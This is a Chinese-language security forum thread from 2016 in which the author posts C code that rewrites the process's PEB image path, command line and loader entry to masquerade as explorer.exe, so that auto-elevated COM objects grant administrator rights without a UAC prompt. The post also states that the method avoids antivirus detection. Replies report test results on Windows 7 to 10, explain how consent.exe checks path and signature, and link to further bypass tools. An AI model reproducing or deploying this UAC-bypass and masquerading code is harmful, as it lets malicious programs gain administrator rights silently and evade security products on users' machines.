首页
论坛
课程
招聘
[旧帖] [原创][原创]发点关于UAC提权的心得 0.00元
2016-4-12 21:31 5235

[旧帖] [原创][原创]发点关于UAC提权的心得 0.00元

2016-4-12 21:31
5235
拜读了安大神的帖子http://bbs.pediy.com/showthread.php?t=206830,学到了一种新的过UAC的方法,自己下来写了几行代码测试了下,果然完美的过了win7-win10的UAC!

前期关注了国外大神hFiref0x的UACME开源项目https://github.com/hfiref0x/UACME,十几种方法确实很牛,只可惜,微软在win8.1至win10的各个新发布版本中不断修补了DLL劫持提权的方法,,前几天hFiref0x大大都对微软无语了,win10的RS1build 14316 版本操作系统中已经碉堡了。。。

很感谢安大神新的思路

不过测试的时候,貌似360会对注入explorer.exe行为弹框

下面给出解决思路,无需注入进程即可将自己的程序模拟成系统程序,调用auto-elevated COM object来实现过UAC,,而不会弹出UAC框!
用下面的源码
        PLDR_DATA_TABLE_ENTRY   Entry;
        PLIST_ENTRY             Head, Next;
        PPEB                    Peb = RtlGetCurrentPeb();
        PVOID                   ImageBase = Peb->ImageBaseAddress;
        WCHAR                   szBuffer[MAX_PATH + 1];

        RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
        GetWindowsDirectory(szBuffer, MAX_PATH);
        lstrcat(szBuffer, L"\\explorer.exe");

        RtlEnterCriticalSection(Peb->FastPebLock);

        RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, szBuffer);
        RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, szBuffer);

        RtlLeaveCriticalSection(Peb->FastPebLock);

        RtlEnterCriticalSection(Peb->LoaderLock);

        Head = &Peb->Ldr->InLoadOrderModuleList;
        Next = Head->Flink;
        while (Next != Head) {
            Entry = CONTAINING_RECORD(Next, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
            if (Entry->DllBase == ImageBase) {
                RtlInitUnicodeString(&Entry->FullDllName, szBuffer);
                RtlInitUnicodeString(&Entry->BaseDllName, L"explorer.exe");
                break;
            }
            Next = Next->Flink;
        }

        RtlLeaveCriticalSection(Peb->LoaderLock);


可以免注入,即在自身进程中实现调用auto-elevated COM object
这里源码就不放出了,结合上述思路以及安大神的uninstall launcher接口,可以完美的在win7-win10,以及主流杀软环境下过UAC

第一次发帖,,写的很乱,

2020 KCTF秋季赛【攻击篇】正在火热进行中!

收藏
点赞0
打赏
分享
最新回复 (22)
雪    币: 39
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ahuaHack 活跃值 2016-4-13 10:21
2
0
沙发!!!!!!!!!!!!
雪    币: 345
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
OnlyForU 活跃值 2016-4-13 12:23
3
0
学习了! !
雪    币: 30
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
VulMan 活跃值 2016-4-16 17:29
4
0
mark
雪    币: 35
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
洛斯特 活跃值 2016-4-18 15:10
5
0
之前不是有wusa提取的方式么
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-4-18 16:53
6
0
嗯嗯,UACME中确实有Wusa释放dll的这种方法,,在Windows 10 build 10147之后的版本已经不再支持extract了,,而且这种方法被某些杀软拦截的厉害
雪    币: 2553
活跃值: 活跃值 (426)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 活跃值 34 2016-4-20 18:38
7
0
抛砖引玉,支持...
雪    币: 0
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lsmart 活跃值 2016-4-20 19:07
8
0
好啊 好吧的了么
雪    币: 24
活跃值: 活跃值 (143)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gloomyle 活跃值 2016-4-21 08:53
9
0
撸主 win7 x64下 CoGetObject 还是弹出UAC框
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-4-22 08:28
10
0
好吧,没做任何处理的情况下,在普通进程中调用肯定会的呀(32、64位的都会),不过注入代码到explorer.exe或者修改进程的基本信息(如上述代码)之后在本进程中调用就不会的哦!
雪    币: 102
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ExPLiFe 活跃值 2016-4-22 14:22
11
0
修改了PEB中的进程路径等信息,依然还是会弹窗... 测试环境win 7 sp1 x64...   看来还是要逆下windows的对于这块的校验机制...
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-4-22 16:36
12
0
我测试了下下,发现修改之后,win7 x86,win10 x86,x64会弹出UAC框,,win7 x64,win8.1 x86,x64不会弹框,
再看看神马情况,一起搞之
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-4-22 16:38
13
0
感谢安大神的支持
雪    币: 87
活跃值: 活跃值 (16)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
josegh 活跃值 1 2016-6-22 18:21
14
0
。aaa
雪    币: 53
活跃值: 活跃值 (173)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
暗香沉浮 活跃值 2 2016-6-23 11:30
15
0
学到了,谢谢分享
雪    币: 21
活跃值: 活跃值 (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gudubuku 活跃值 2016-6-24 16:04
16
0
楼主,在安大新方法上加了你的代码 在win7 x32 x64上测试还是会提示 只是提示信息变了

楼主能否留个Q 方便一起交流   
上传的附件:
雪    币: 167
活跃值: 活跃值 (75)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaomingwei 活跃值 2016-6-28 15:17
17
0
大神,将自己的程序模拟成系统程序能只用Win32而不用WDK吗?
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-7-20 16:04
18
0
好久没上来,不好意思哈,问题很久之前就解决了,其实这个问题在于你的程序模拟系统程序没有成功。
我跟踪过系统UAC相关的Consent.exe进程,,对需要绕过UAC虚拟化获得管理员权限的进程(这里我们在自己的程序中执行系统白名单COM,但是我们的程序肯定没有微软的签名),检测文件路径、签名,只有文件是微软签名且在windows系统目录中的进程才能执行系统白名单COM而不弹出提示框

验证流程:
1.consent.exe首先根据进程的Peb->ProcessParameters->ImagePathName进行路径验证 ,读取对应的exe并判断其签名和路径
2.若有签名且在系统目录中,,那么当前执行系统白名单COM的进程则直接获取管理员权限而不弹框
3.若没有签名或者不在系统目录中,那么当前执行系统白名单COM的进程则弹UAC框(如你所给的图)

我之前发的代码思路就是,自己程序中在执行系统白名单COM之前,,,先修改自己的peb结构,讲Peb->ProcessParameters->ImagePathName指向系统explorer.exe进程,此时再调用COM,那么consent进程验证的时候,实际上验证的是explorer.exe(系统UAC白名单程序,肯定成功),之后就能成功的调用卸载接口COM而不弹框了
雪    币: 48
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
smmtc 活跃值 2016-7-20 16:05
19
0
,只是简单的修改了下本进程peb结构的内容而已,用户权限就可以做的
雪    币: 167
活跃值: 活跃值 (75)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
gaomingwei 活跃值 2016-7-21 11:57
20
0
那就用peloader了?
雪    币: 1195
活跃值: 活跃值 (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ielts 活跃值 2016-10-30 10:05
21
0
撸主 win7 x64下 CoGetObject 还是弹出UAC框
雪    币: 2553
活跃值: 活跃值 (426)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
安于此生 活跃值 34 2016-10-30 11:03
22
0
http://www.freebuf.com/sectool/114592.html
http://www.freebuf.com/articles/system/116611.html
https://github.com/ExpLife/ARPUninstallStringLauncherBypassUac
https://github.com/ExpLife/BypassUacTool

见这里
雪    币: 114
能力值: (RANK:20 )
在线值:
发帖
回帖
粉丝
我是谁! 活跃值 2016-11-6 16:07
23
0
过了UAC 能干嘛呢,UAC又不是杀毒的主动,如果是码子,主动拦截也没用啊。楼主
游客
登录 | 注册 方可回帖
返回